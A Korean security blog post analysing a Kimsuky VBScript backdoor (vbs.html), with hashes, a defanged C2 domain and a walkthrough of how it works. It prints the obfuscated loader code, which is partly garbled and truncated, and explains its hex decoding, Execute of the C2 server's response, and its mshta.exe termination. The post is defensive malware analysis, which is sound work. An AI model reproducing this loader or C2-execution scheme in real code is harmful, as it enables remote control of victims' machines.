꿈을꾸는 파랑새

오늘은 북한 김수키(Kimsuky)에서 만든 악성 백도어 VBS 스크립트 인 vbs.html(2025.3.16)에 대해 알아보겠습니다. 해당 악성 VBS 스크립트는 다음 악성 URL을 통해서 유포되었습니다.
파일명:vbs.html
사이즈:1 MB
MD5:a6598bbdc947286c84f951289d14425c
SHA-1:07c7cf4441254e8754aa62150bf8c5365c3825f4
SHA-256:5f23b1ca43f6a18e3c9f21d390f5d1e187b1339b07a1dce70f8338f3be320878

hxxp://mrasis(.)n-e(.)kr

입니다.
해당 사이트는 도메인의 WHOIS 정보는 러시아에서는 Garant-G Ltd 미국에서는 EDGECAST에 등록되어 있음을 나타내며 이는 합법적인 한국 도메인에서는 이례적입니다.

html 에 포함된 VBS 코드
html 에 포함된 VBS 코드

VBS 코드

<html>
			<script language="VB?/cript">
			On Error Resume Next
			'@ @
			owseueyc = "zewxpowjcezzopor": vhhpwsrl = "rxcnlsf(b)dozuv??pck": epf(o)dxdo =
            "byclvoyd(c)kpkrkbzxnhb": sfkisxuv = "ktykezlnwooozcdouo": ziiinncw = "psfyl??
            lbzmugtvxhfktpu": akzebgop = "upmvkjc(p)gkjsxcntyg": aaihzoot = "akkozjhef(b)hi
            uvbug": krcewgcv = "zydpjeodpqkpd??tx(z)j": 			Private Function ikwcpd
            ah(ByVal vhao): xlskocwd = "xjvrvnxiqvggukpm": vhayzldd = "iwzxixzljbzjqvnjphvf
            ik("): evfjrglh = "vwptzvxhqiowkxnz": zujsxrvo = "pfyhlcffboftmjqntxiy": akthadvj = "otwczddkzahhxiopv": urhxyupd = "qtplliqdkoenpdgbuvhh(e)dqg": jewoldla = "yhvmgctdgcdwfglgqs": uwyfkdvf = "uwplezu??uzqpslyrfvkt": 			for g = 1 To Len(vhao) Step 2: ikqrxoyk = "qumdoekbg(u)hjrvthm": fkbxfptr = "apuhjvmizorkhdyanb": znyyhlgr = "w?????????????? = "ysxlqlwrfi???ctjp": nomukbbl = "fwaxyqwfiqcbuiyknetiyfle": wvpqibrc = "oexzbtloztsisxyxqllxxkx": miegozwi = "nkppukjvnjtblyud???my": givrhlso = "idmjvfqgedkcxpirgs": iohxhyhb = "znnzhptwcsyobeszpoj": 			End Function: dntwgsen = "urisjmuxnwmzyvry": qbuopnbo = "oecbsybzfnlzrtgflxgz": bzbrfeit = "rsahttqakwybzwuffnmxak": eqxlsnsq = "xkwxocozt???jehvhvu": bhkdkrfj = "qqwwlspktb???wr": aluayrnx = "gekchmtzzorhdijt": rwogaxts = "onoyrutxfmzozefmommocmg": fhzsdgfo = "nnmlpaadnhey
iuqtkny": 		: Execute(ikwcpdah("767074646d6b7474203d2022716265(6)667776d7961686865
657(0)766f7977657a676b74220d0a0909097365742070677365637a736d203d204372656174654f626a656
3742873636570786d746528223464222920262073636570786d7465(2)8223533222920262073636570786d
746528223538222920262073636570786d746528223464222920262073636570786d7465282234632229202
62073636570786d74652822333222292026(2)073636570786d746528223265222920262073636570786d74
6528223533222920262073636570786d746528223635222920262073636570786d746528223732222920262
073636570.........")):
			</script>
			</html>

악성코드 분석

업로드된 VBScript 코드는 다음과 같은 특징을 가지고 있음
난독화(Obfuscation)되어 있으며 변수명과 문자열이 무작위로 설정됨 
On Error Resume Next를 사용하여 오류 발생 시 무시하고 계속 실행
Execute 함수가 사용됨->동적으로 문자열을 실행하여 악성 코드 실행
16진수 문자열(ikwcpdah(767074...))을 해독하여 실행할 코드로 변환
CreateObject("Microsoft.XMLHTTP") 또는 CreateObject("MSXML2.XMLHTTP")를 사용하여 외부 서버와 통신
1.ikwcpdah 함수
ikwcpdah 함수는 16진수 문자열을 ASCII 문자로 변환하는 역할
ikwcpdah(76707464...) 는 특정한 실행 가능한 VBScript 코드를 디코딩하여 실행
2.디코딩된 문자열 실행**
Execute 문을 사용하여 ikwcpdah 함수에서 변환된 문자열을 실행
코드 난독화 기술 중 하나로 일반적으로 악성 코드에서 사용되는 기법
3. 특정 URL과 통신
외부 URL(mrasis(.)n-e(.)kr)로 HTTP POST 요청을 전송
서버에서 응답을 받아 Execute(tfaztcsy)로 실행->원격 코드 실행(Backdoor 가능성)
해당 도메인은 악성코드 C2(Command and Control) 서버
3. 코드 실행 방식
VBScript가 실행됨
난독화된 16진수 문자열을 ikwcpdah 함수가 해독
Execute를 통해 변환된 VBScript 코드가 실행
특정 URL(hxxp://mrasis(.)n-e(.)kr/)에 HTTP 요청을 보냄.
응답받은 데이터를 다시 Execute를 통해 실행->원격 명령 실행
일단 더 자세하게 보려고 CyberChef를 통해서 보면 됨

CyberChef 로 HEX 디코딩 결과
CyberChef 로 HEX 디코딩 결과

대충 HEX 디코딩된 것을 분석

1. 코드 분석 개요
코드 난독화(Obfuscation):scepxmte() 함수는 16진수를 ASCII 문자로 변환하여 문자열을 숨김.
CreateObject("MSXML2.ServerXMLHTTP.6.0")를 이용한 네트워크 통신
특정 URL(hxxp://mrasis(.)n-e(.)kr/...)로 POST 요청을 보냄
서버에서 응답을 받은 후 Execute()로 실행:원격 코드 실행 가능성(백도어)
WScript.Shell을 이용한 명령 실행:
taskkill /im mshta.exe /f 실행->VBScript 실행을 지속시키기 위한 방해
외부에서 추가 명령을 다운로드하여 실행 가능성 큼
2. 상세 코드 분석
네트워크 통신 및 명령 실
MSXML2.ServerXMLHTTP.6.0 객체를 생성->HTTP 요청
hxxp://mrasis(.)n-e(.)kr/comarov/search?... 에 POST 요청
응답을 받아 Execute()로 실행->원격 코드 실행(백도어 활동) 
mrasis(.)n-e(.)kr 도메인은 C2(Command & Control) 서버
WScript.Shell 객체를 사용한 명령 실행
WScript.Shell을 사용하여 taskkill /im mshta.exe /f 실행.
mshta.exe는 HTML Application을 실행하는 프로세스로 악성코드가 실행되는 것을 숨길 때 자주 악용됨
실행 중인 mshta.exe 를 종료하는 이유는 다른 악성 코드가 숨겨져 있거나 특정 보안 감시 프로세스를 방해하기 위한 수단일 수도 있음
scepxmte() 함수: 난독화 해제
scepxmte("57") & scepxmte("53") & scepxmte("63")
16진수를 ASCII 문자로 변환하여 문자열을 숨김
예를 들어서 scepxmte("57") & scepxmte("53") & scepxmte("63") 는 WScript 로 변환됨 
taskkill /im mshta.exe /f 같은 명령을 감추는 역할
어떻게 해서 배포를 했는지 모르겠지만 일단 기본적으로 웬만한 백신 프로그램들은 탐지하고 있지만 안랩 쪽은 2025-03-17 07:22:42 UTC 으로 탐지를 하고 있지 않습니다. 안 랩 사용을 하시는 분들은 조심하는 것을 권장합니다. 이렇게 겁나게 존경하지 않는 우리의 주적 정찰총국 산하 해킹 단체인 김수키에서 만든 악성코드를 분석을 해보았습니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band

Sakai님의
글이 좋았다면 응원을 보내주세요!